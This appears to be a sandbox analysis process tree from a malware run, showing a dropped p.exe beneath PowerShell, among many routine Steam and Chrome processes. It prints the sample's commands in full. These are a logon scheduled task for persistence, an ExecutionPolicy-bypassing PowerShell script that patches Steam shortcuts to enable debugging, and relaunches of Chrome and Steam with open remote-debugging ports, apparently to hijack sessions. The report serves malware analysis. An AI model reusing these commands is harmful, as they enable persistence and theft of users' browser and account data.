                                                          • C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe
                                                            "C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" --type=renderer --enable-chrome-runtime --user-data-dir="C:\Users\Admin\AppData\Local\Steam\htmlcache" --user-agent-product="Valve Steam Client" --buildid=1784778118 --steamid=0 --gaia-url=http://disabled.invalid --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=5556,i,5753670765477836637,4449356021135971506,262144 --enable-features=PlatformHEVCDecoderSupport --disable-features=BlockPromptsIfIgnoredOften,DcheckIsFatal,SpareRendererForSitePerProcess,ValveFFmpegAllowLowDelayHEVC,WebUsbDeviceDetection,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --enable-logging=handle --log-file=5652 --mojo-platform-channel-handle=5636 /prefetch:1
                                                            5⤵
                                                            • Checks computer location settings
                                                            • Executes dropped EXE
                                                            PID:17280
                                                        • C:\Program Files (x86)\Steam\bin\gldriverquery64.exe
                                                          .\bin\gldriverquery64.exe
                                                          4⤵
                                                          • Executes dropped EXE
                                                          PID:10128
                                                        • C:\Program Files (x86)\Steam\bin\gldriverquery.exe
                                                          .\bin\gldriverquery.exe
                                                          4⤵
                                                          • Executes dropped EXE
                                                          • System Location Discovery: System Language Discovery
                                                          PID:8960
                                                        • C:\Program Files (x86)\Steam\bin\vulkandriverquery64.exe
                                                          .\bin\vulkandriverquery64.exe
                                                          4⤵
                                                          • Executes dropped EXE
                                                          PID:8996
                                                        • C:\Program Files (x86)\Steam\bin\vulkandriverquery.exe
                                                          .\bin\vulkandriverquery.exe
                                                          4⤵
                                                          • Executes dropped EXE
                                                          • System Location Discovery: System Language Discovery
                                                          PID:9040
                                                        • C:\Program Files (x86)\Steam\bin\hardwareupdater\hardwareupdater.exe
                                                          "C:\Program Files (x86)\Steam\bin\hardwareupdater\hardwareupdater.exe" --check-for-updates
                                                          4⤵
                                                          • Executes dropped EXE
                                                          • Suspicious use of WriteProcessMemory
                                                          PID:1088
                                                          • C:\Program Files (x86)\Steam\bin\hardwareupdater\hardwareupdater.exe
                                                            "C:\Program Files (x86)\Steam\bin\hardwareupdater\hardwareupdater.exe" --check-for-updates
                                                            5⤵
                                                            • Executes dropped EXE
                                                            PID:11408
                                                  • C:\Program Files (x86)\Common Files\Steam\steamservice.exe
                                                    "C:\Program Files (x86)\Common Files\Steam\steamservice.exe" /RunAsService
                                                    1⤵
                                                    • Executes dropped EXE
                                                    • Drops file in System32 directory
                                                    • System Location Discovery: System Language Discovery
                                                    • Checks processor information in registry
                                                    • Modifies data under HKEY_USERS
                                                    • Modifies system certificate store
                                                    • Suspicious use of WriteProcessMemory
                                                    PID:7408
                                                    • C:\Program Files (x86)\Common Files\Steam\SteamServiceTmp.exe
                                                      "C:\Program Files (x86)\Common Files\Steam\SteamServiceTmp.exe" /Update
                                                      2⤵
                                                      • Executes dropped EXE
                                                      PID:8100
                                                  • C:\Program Files (x86)\Common Files\Steam\steamservice.exe
                                                    "C:\Program Files (x86)\Common Files\Steam\steamservice.exe" /RunAsService
                                                    1⤵
                                                    • Executes dropped EXE
                                                    • System Location Discovery: System Language Discovery
                                                    • Checks processor information in registry
                                                    • Modifies data under HKEY_USERS
                                                    • Modifies registry class
                                                    • Suspicious behavior: EnumeratesProcesses
                                                    PID:8044
                                                  • C:\Windows\system32\AUDIODG.EXE
                                                    C:\Windows\system32\AUDIODG.EXE 0x344 0x4d8
                                                    1⤵
                                                      PID:9352
                                                    • C:\Program Files (x86)\Steam\steam.exe
                                                      "C:\Program Files (x86)\Steam\steam.exe"
                                                      1⤵
                                                      • Executes dropped EXE
                                                      PID:10500
                                                    • C:\Windows\system32\svchost.exe
                                                      C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                                                      1⤵
                                                        PID:9984
                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
                                                        1⤵
                                                        • Badlisted process makes network request
                                                        • Downloads MZ/PE file
                                                        • Suspicious behavior: EnumeratesProcesses
                                                        PID:13568
                                                        • C:\Users\Admin\AppData\Local\Temp\p.exe
                                                          "C:\Users\Admin\AppData\Local\Temp\p.exe"
                                                          2⤵
                                                          • Executes dropped EXE
                                                          • Adds Run key to start application
                                                          • Suspicious behavior: EnumeratesProcesses
                                                          PID:23360
                                                          • C:\Windows\system32\schtasks.exe
                                                            schtasks /create /sc onlogon /tn ProsperAgent /tr \"C:\Users\Admin\AppData\Local\Temp\p.exe\" /rl limited /f
                                                            3⤵
                                                            • Scheduled Task/Job: Scheduled Task
                                                            PID:23264
                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                            powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "$ErrorActionPreference='Stop'; $steamExe = 'C:\Program Files (x86)\Steam\Steam.exe'; $flags = @('-cef-enable-debugging'); $roots = @($env:USERPROFILE + '\Desktop', $env:APPDATA + '\Microsoft\Windows\Start Menu\Programs'); $shell = New-Object -ComObject WScript.Shell; $patched = @(); foreach ($root in $roots) { if (-not (Test-Path -LiteralPath $root)) { continue }; Get-ChildItem -LiteralPath $root -Filter '*.lnk' -Recurse -ErrorAction SilentlyContinue | ForEach-Object { try { $lnk = $shell.CreateShortcut($_.FullName); if (-not $lnk.TargetPath) { return }; if ($lnk.TargetPath -ne $steamExe) { return }; $args = ($lnk.Arguments | Out-String).Trim(); $missing = @($flags | Where-Object { $args -notmatch [regex]::Escape($_) }); if ($missing.Count -eq 0) { return }; $lnk.Arguments = (($args, ($missing -join ' ')) -join ' ').Trim(); $lnk.Save(); $patched += $_.FullName } catch {} } }; $patched -join ';'"
                                                            3⤵
                                                            • Hide Artifacts: Ignore Process Interrupts
                                                            • Suspicious behavior: EnumeratesProcesses
                                                            PID:23168
                                                          • C:\Program Files (x86)\Steam\Steam.exe
                                                            "C:\Program Files (x86)\Steam\Steam.exe" -shutdown
                                                            3⤵
                                                            • Executes dropped EXE
                                                            PID:13116
                                                          • C:\Windows\system32\taskkill.exe
                                                            taskkill /t /f /pid 3452
                                                            3⤵
                                                            • Kills process with taskkill
                                                            PID:12972
                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --remote-debugging-address=127.0.0.1 --remote-allow-origins=* --no-first-run --no-default-browser-check --disable-infobars --restore-last-session "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data"
                                                            3⤵
                                                            • Uses browser remote debugging
                                                            PID:22288
                                                        • C:\Users\Admin\AppData\Local\Temp\p.exe
                                                          "C:\Users\Admin\AppData\Local\Temp\p.exe"
                                                          2⤵
                                                          • Executes dropped EXE
                                                          • Adds Run key to start application
                                                          PID:23948
                                                          • C:\Windows\system32\schtasks.exe
                                                            schtasks /create /sc onlogon /tn ProsperAgent /tr \"C:\Users\Admin\AppData\Local\Temp\p.exe\" /rl limited /f
                                                            3⤵
                                                            • Scheduled Task/Job: Scheduled Task
                                                            PID:24112
                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                            powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "$ErrorActionPreference='Stop'; $steamExe = 'C:\Program Files (x86)\Steam\Steam.exe'; $flags = @('-cef-enable-debugging'); $roots = @($env:USERPROFILE + '\Desktop', $env:APPDATA + '\Microsoft\Windows\Start Menu\Programs'); $shell = New-Object -ComObject WScript.Shell; $patched = @(); foreach ($root in $roots) { if (-not (Test-Path -LiteralPath $root)) { continue }; Get-ChildItem -LiteralPath $root -Filter '*.lnk' -Recurse -ErrorAction SilentlyContinue | ForEach-Object { try { $lnk = $shell.CreateShortcut($_.FullName); if (-not $lnk.TargetPath) { return }; if ($lnk.TargetPath -ne $steamExe) { return }; $args = ($lnk.Arguments | Out-String).Trim(); $missing = @($flags | Where-Object { $args -notmatch [regex]::Escape($_) }); if ($missing.Count -eq 0) { return }; $lnk.Arguments = (($args, ($missing -join ' ')) -join ' ').Trim(); $lnk.Save(); $patched += $_.FullName } catch {} } }; $patched -join ';'"
                                                            3⤵
                                                            • Hide Artifacts: Ignore Process Interrupts
                                                            PID:24164
                                                          • C:\Program Files (x86)\Steam\Steam.exe
                                                            "C:\Program Files (x86)\Steam\Steam.exe" -shutdown
                                                            3⤵
                                                            • Executes dropped EXE
                                                            PID:24372
                                                          • C:\Program Files (x86)\Steam\Steam.exe
                                                            "C:\Program Files (x86)\Steam\Steam.exe" -cef-enable-debugging
                                                            3⤵
                                                            • Executes dropped EXE
                                                            • Drops file in Program Files directory
                                                            • Checks SCSI registry key(s)
                                                            • Checks processor information in registry
                                                            • Modifies registry class
                                                            • Suspicious behavior: GetForegroundWindowSpam
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:14724
                                                            • C:\Program Files (x86)\Steam\steamsysinfo.exe
                                                              "C:\Program Files (x86)\Steam\steamsysinfo.exe" -steamid 0 -buildid 1784778118 -logdir "C:\Program Files (x86)\Steam\logs" -nocrashdialog -query 1 -out-file C:\Users\Admin\AppData\Local\Temp\C74A.tmp
                                                              4⤵
                                                              • Executes dropped EXE
                                                              PID:14772
                                                            • C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe
                                                              "C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" -nocrashdialog "-lang=en_US" "-cachedir=C:\Users\Admin\AppData\Local\Steam\htmlcache" "-steampid=14724" "-buildid=1784778118" "-steamid=0" "-logdir=C:\Program Files (x86)\Steam\logs" "-uimode=7" "-startcount=0" "-steamuniverse=Public" "-realm=Global" "-clientui=C:\Program Files (x86)\Steam\clientui" "-steampath=C:\Program Files (x86)\Steam\Steam.exe" "-launcher=0" --valve-enable-site-isolation "--remote-allow-origins=*" "--remote-debugging-address=127.0.0.1" "--remote-debugging-port=8080" --enable-smooth-scrolling "--log-file=C:\Program Files (x86)\Steam\logs\cef_log.txt" --disable-quick-menu --disable-component-update "--gaia-url=http://disabled.invalid" "--enable-features=PlatformHEVCDecoderSupport" "--disable-features=WinRetrieveSuggestionsOnlyOnDemand,SpareRendererForSitePerProcess,DcheckIsFatal,BlockPromptsIfIgnoredOften,WebUsbDeviceDetection,ValveFFmpegAllowLowDelayHEVC"
                                                              4⤵
                                                              • Uses browser remote debugging
                                                              • Checks computer location settings
                                                              • Executes dropped EXE
                                                              • Checks processor information in registry
                                                              • Enumerates system info in registry
                                                              • Modifies data under HKEY_USERS
                                                              PID:14832
                                                              • C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe
                                                                "C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" --type=crashpad-handler /prefetch:4 --max-uploads=5 --max-db-size=20 --max-db-age=5 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Program Files (x86)\Steam\dumps" "--metrics-dir=C:\Users\Admin\AppData\Local\CEF\User Data" --url=https://crash.steampowered.com/submit --annotation=platform=win64 --annotation=product=cefwebhelper --annotation=version=1784778118 --initial-client-data=0x28c,0x290,0x294,0x288,0x298,0x7ff8cb4eaea0,0x7ff8cb4eaeac,0x7ff8cb4eaeb8
                                                                5⤵
                                                                • Executes dropped EXE
                                                                PID:14860
                                                              • C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe
                                                                "C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" --type=gpu-process --start-stack-profiler --enable-chrome-runtime --user-data-dir="C:\Users\Admin\AppData\Local\Steam\htmlcache" --user-agent-product="Valve Steam Client" --buildid=1784778118 --steamid=0 --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1884,i,17542743265730136547,5817661747540205710,262144 --enable-features=PlatformHEVCDecoderSupport --disable-features=BlockPromptsIfIgnoredOften,DcheckIsFatal,SpareRendererForSitePerProcess,ValveFFmpegAllowLowDelayHEVC,WebUsbDeviceDetection,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --enable-logging=handle --log-file=1792 --mojo-platform-channel-handle=1880 /prefetch:2
                                                                5⤵
                                                                • Executes dropped EXE
                                                                PID:15100
                                                              • C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe
                                                                "C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --start-stack-profiler --enable-chrome-runtime --user-data-dir="C:\Users\Admin\AppData\Local\Steam\htmlcache" --user-agent-product="Valve Steam Client" --buildid=1784778118 --steamid=0 --field-trial-handle=2232,i,17542743265730136547,5817661747540205710,262144 --enable-features=PlatformHEVCDecoderSupport --disable-features=BlockPromptsIfIgnoredOften,DcheckIsFatal,SpareRendererForSitePerProcess,ValveFFmpegAllowLowDelayHEVC,WebUsbDeviceDetection,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --enable-logging=handle --log-file=2244 --mojo-platform-channel-handle=2240 /prefetch:3
                                                                5⤵
                                                                • Executes dropped EXE
                                                                • System Time Discovery
                                                                PID:15196
                                                              • C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe
                                                                "C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --enable-chrome-runtime --user-data-dir="C:\Users\Admin\AppData\Local\Steam\htmlcache" --user-agent-product="Valve Steam Client" --buildid=1784778118 --steamid=0 --field-trial-handle=2332,i,17542743265730136547,5817661747540205710,262144 --enable-features=PlatformHEVCDecoderSupport --disable-features=BlockPromptsIfIgnoredOften,DcheckIsFatal,SpareRendererForSitePerProcess,ValveFFmpegAllowLowDelayHEVC,WebUsbDeviceDetection,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --enable-logging=handle --log-file=2540 --mojo-platform-channel-handle=2536 /prefetch:8
                                                                5⤵
                                                                • Executes dropped EXE
                                                                PID:15284
                                                              • C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe
                                                                "C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" --type=renderer --enable-chrome-runtime --user-data-dir="C:\Users\Admin\AppData\Local\Steam\htmlcache" --user-agent-product="Valve Steam Client" --buildid=1784778118 --steamid=0 --gaia-url=http://disabled.invalid --remote-debugging-port=8080 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3832,i,17542743265730136547,5817661747540205710,262144 --enable-features=PlatformHEVCDecoderSupport --disable-features=BlockPromptsIfIgnoredOften,DcheckIsFatal,SpareRendererForSitePerProcess,ValveFFmpegAllowLowDelayHEVC,WebUsbDeviceDetection,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --enable-logging=handle --log-file=4036 --mojo-platform-channel-handle=4032 /prefetch:1
                                                                5⤵
                                                                • Uses browser remote debugging
                                                                • Checks computer location settings
                                                                • Executes dropped EXE
                                                                PID:1944
                                                              • C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe
                                                                "C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" --type=renderer --enable-chrome-runtime --user-data-dir="C:\Users\Admin\AppData\Local\Steam\htmlcache" --user-agent-product="Valve Steam Client" --buildid=1784778118 --steamid=0 --gaia-url=http://disabled.invalid --remote-debugging-port=8080 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=5032,i,17542743265730136547,5817661747540205710,262144 --enable-features=PlatformHEVCDecoderSupport --disable-features=BlockPromptsIfIgnoredOften,DcheckIsFatal,SpareRendererForSitePerProcess,ValveFFmpegAllowLowDelayHEVC,WebUsbDeviceDetection,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --enable-logging=handle --log-file=5064 --mojo-platform-channel-handle=5060 /prefetch:1
                                                                5⤵
                                                                • Uses browser remote debugging
                                                                • Checks computer location settings
                                                                PID:10100
                                                              • C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe
                                                                "C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" --type=renderer --enable-chrome-runtime --user-data-dir="C:\Users\Admin\AppData\Local\Steam\htmlcache" --user-agent-product="Valve Steam Client" --buildid=1784778118 --steamid=0 --gaia-url=http://disabled.invalid --remote-debugging-port=8080 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=5012,i,17542743265730136547,5817661747540205710,262144 --enable-features=PlatformHEVCDecoderSupport --disable-features=BlockPromptsIfIgnoredOften,DcheckIsFatal,SpareRendererForSitePerProcess,ValveFFmpegAllowLowDelayHEVC,WebUsbDeviceDetection,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --enable-logging=handle --log-file=5408 --mojo-platform-channel-handle=5204 /prefetch:1
                                                                5⤵
                                                                • Uses browser remote debugging
                                                                • Checks computer location settings
                                                                PID:4508
                                                              • C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe
                                                                "C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --enable-chrome-runtime --user-data-dir="C:\Users\Admin\AppData\Local\Steam\htmlcache" --user-agent-product="Valve Steam Client" --buildid=1784778118 --steamid=0 --field-trial-handle=5768,i,17542743265730136547,5817661747540205710,262144 --enable-features=PlatformHEVCDecoderSupport --disable-features=BlockPromptsIfIgnoredOften,DcheckIsFatal,SpareRendererForSitePerProcess,ValveFFmpegAllowLowDelayHEVC,WebUsbDeviceDetection,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --enable-logging=handle --log-file=5756 --mojo-platform-channel-handle=5752 /prefetch:8
                                                                5⤵
                                                                  PID:9556
                                                                • C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe
                                                                  "C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --enable-chrome-runtime --user-data-dir="C:\Users\Admin\AppData\Local\Steam\htmlcache" --user-agent-product="Valve Steam Client" --buildid=1784778118 --steamid=0 --field-trial-handle=5128,i,17542743265730136547,5817661747540205710,262144 --enable-features=PlatformHEVCDecoderSupport --disable-features=BlockPromptsIfIgnoredOften,DcheckIsFatal,SpareRendererForSitePerProcess,ValveFFmpegAllowLowDelayHEVC,WebUsbDeviceDetection,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --enable-logging=handle --log-file=4896 --mojo-platform-channel-handle=5620 /prefetch:8
                                                                  5⤵
                                                                    PID:12600
                                                                  • C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe
                                                                    "C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.4355 --start-stack-profiler --enable-chrome-runtime --user-data-dir="C:\Users\Admin\AppData\Local\Steam\htmlcache" --user-agent-product="Valve Steam Client" --buildid=1784778118 --steamid=0 --gpu-preferences=WAAAAAAAAADoAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=6120,i,17542743265730136547,5817661747540205710,262144 --enable-features=PlatformHEVCDecoderSupport --disable-features=BlockPromptsIfIgnoredOften,DcheckIsFatal,SpareRendererForSitePerProcess,ValveFFmpegAllowLowDelayHEVC,WebUsbDeviceDetection,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --enable-logging=handle --log-file=5000 --mojo-platform-channel-handle=4996 /prefetch:8
                                                                    5⤵
                                                                      PID:21312
                                                                    • C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe
                                                                      "C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" --type=renderer --enable-chrome-runtime --user-data-dir="C:\Users\Admin\AppData\Local\Steam\htmlcache" --user-agent-product="Valve Steam Client" --buildid=1784778118 --steamid=0 --gaia-url=http://disabled.invalid --remote-debugging-port=8080 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --field-trial-handle=5952,i,17542743265730136547,5817661747540205710,262144 --enable-features=PlatformHEVCDecoderSupport --disable-features=BlockPromptsIfIgnoredOften,DcheckIsFatal,SpareRendererForSitePerProcess,ValveFFmpegAllowLowDelayHEVC,WebUsbDeviceDetection,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --enable-logging=handle --log-file=6004 --mojo-platform-channel-handle=4836 /prefetch:1
                                                                      5⤵
                                                                      • Uses browser remote debugging
                                                                      • Checks computer location settings
                                                                      PID:21304
                                                                    • C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe
                                                                      "C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" --type=renderer --enable-chrome-runtime --user-data-dir="C:\Users\Admin\AppData\Local\Steam\htmlcache" --user-agent-product="Valve Steam Client" --buildid=1784778118 --steamid=0 --gaia-url=http://disabled.invalid --remote-debugging-port=8080 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=4192,i,17542743265730136547,5817661747540205710,262144 --enable-features=PlatformHEVCDecoderSupport --disable-features=BlockPromptsIfIgnoredOften,DcheckIsFatal,SpareRendererForSitePerProcess,ValveFFmpegAllowLowDelayHEVC,WebUsbDeviceDetection,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --enable-logging=handle --log-file=5452 --mojo-platform-channel-handle=5496 /prefetch:1
                                                                      5⤵
                                                                      • Uses browser remote debugging
                                                                      PID:14600
                                                                    • C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe
                                                                      "C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" --type=renderer --enable-chrome-runtime --user-data-dir="C:\Users\Admin\AppData\Local\Steam\htmlcache" --user-agent-product="Valve Steam Client" --buildid=1784778118 --steamid=0 --gaia-url=http://disabled.invalid --remote-debugging-port=8080 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --field-trial-handle=5196,i,17542743265730136547,5817661747540205710,262144 --enable-features=PlatformHEVCDecoderSupport --disable-features=BlockPromptsIfIgnoredOften,DcheckIsFatal,SpareRendererForSitePerProcess,ValveFFmpegAllowLowDelayHEVC,WebUsbDeviceDetection,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --enable-logging=handle --log-file=4692 --mojo-platform-channel-handle=5928 /prefetch:1
                                                                      5⤵
                                                                      • Uses browser remote debugging
                                                                      PID:5568
                                                                    • C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe
                                                                      "C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" --type=renderer --enable-chrome-runtime --user-data-dir="C:\Users\Admin\AppData\Local\Steam\htmlcache" --user-agent-product="Valve Steam Client" --buildid=1784778118 --steamid=0 --gaia-url=http://disabled.invalid --remote-debugging-port=8080 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --field-trial-handle=5280,i,17542743265730136547,5817661747540205710,262144 --enable-features=PlatformHEVCDecoderSupport --disable-features=BlockPromptsIfIgnoredOften,DcheckIsFatal,SpareRendererForSitePerProcess,ValveFFmpegAllowLowDelayHEVC,WebUsbDeviceDetection,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --enable-logging=handle --log-file=5656 --mojo-platform-channel-handle=5968 /prefetch:1
                                                                      5⤵
                                                                      • Uses browser remote debugging
                                                                      PID:11208
                                                                  • C:\Program Files (x86)\Steam\bin\gldriverquery64.exe
                                                                    .\bin\gldriverquery64.exe
                                                                    4⤵
                                                                    • Executes dropped EXE
                                                                    PID:6236
                                                                  • C:\Program Files (x86)\Steam\bin\gldriverquery.exe
                                                                    .\bin\gldriverquery.exe
                                                                    4⤵
                                                                    • Executes dropped EXE
                                                                    PID:5268
                                                                  • C:\Program Files (x86)\Steam\bin\vulkandriverquery64.exe
                                                                    .\bin\vulkandriverquery64.exe
                                                                    4⤵
                                                                      PID:2448
                                                                    • C:\Program Files (x86)\Steam\bin\vulkandriverquery.exe
                                                                      .\bin\vulkandriverquery.exe
                                                                      4⤵
                                                                        PID:3168
                                                                      • C:\Program Files (x86)\Steam\bin\hardwareupdater\hardwareupdater.exe
                                                                        "C:\Program Files (x86)\Steam\bin\hardwareupdater\hardwareupdater.exe" --check-for-updates
                                                                        4⤵
                                                                          PID:9284
                                                                          • C:\Program Files (x86)\Steam\bin\hardwareupdater\hardwareupdater.exe
                                                                            "C:\Program Files (x86)\Steam\bin\hardwareupdater\hardwareupdater.exe" --check-for-updates
                                                                            5⤵
                                                                              PID:7964
                                                                          • C:\Program Files (x86)\Steam\bin\hardwareupdater\hardwareupdater.exe
                                                                            "C:\Program Files (x86)\Steam\bin\hardwareupdater\hardwareupdater.exe" --check-for-updates
                                                                            4⤵
                                                                              PID:20680
                                                                              • C:\Program Files (x86)\Steam\bin\hardwareupdater\hardwareupdater.exe
                                                                                "C:\Program Files (x86)\Steam\bin\hardwareupdater\hardwareupdater.exe" --check-for-updates
                                                                                5⤵
                                                                                  PID:15032
                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --remote-debugging-address=127.0.0.1 --remote-allow-origins=* --no-first-run --no-default-browser-check --disable-infobars --restore-last-session --user-data-dir=C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222
                                                                              3⤵
                                                                              • Uses browser remote debugging
                                                                              • Checks processor information in registry
                                                                              • Enumerates system info in registry
                                                                              • Modifies data under HKEY_USERS
                                                                              • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                                                              PID:4540
                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x220,0x224,0x228,0x1fc,0x22c,0x7ff8d917c728,0x7ff8d917c734,0x7ff8d917c740
                                                                                4⤵
                                                                                  PID:4876
                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1944,i,13742141338149014268,842713797996325983,524288 --field-trial-handle=2132,i,8791087495260230254,3385728984607637952,262144 --variations-seed-version --mojo-platform-channel-handle=2172 /prefetch:3
                                                                                  4⤵
                                                                                  • System Time Discovery
                                                                                  PID:11216
                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1716,i,7152114137840902140,14058775267247627449,262144 --field-trial-handle=2132,i,8791087495260230254,3385728984607637952,262144 --variations-seed-version --mojo-platform-channel-handle=2108 /prefetch:2
                                                                                  4⤵
                                                                                    PID:11232
                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --user-data-dir="C:\Users\Admin\AppData\Local\Temp\prosper-browser\Chrome-9222" --force-high-res-timeticks=disabled --metrics-shmem-handle=2416,i,11099632483317935550,6408657868669825278,524288 --field-trial-handle=2132,i,8791087495260230254,3385728984607637952,262144 --variations-seed-version --mojo-platform-channel-handle=2572 /prefetch:8
                                                                                    4⤵
                                                                                      PID:1348
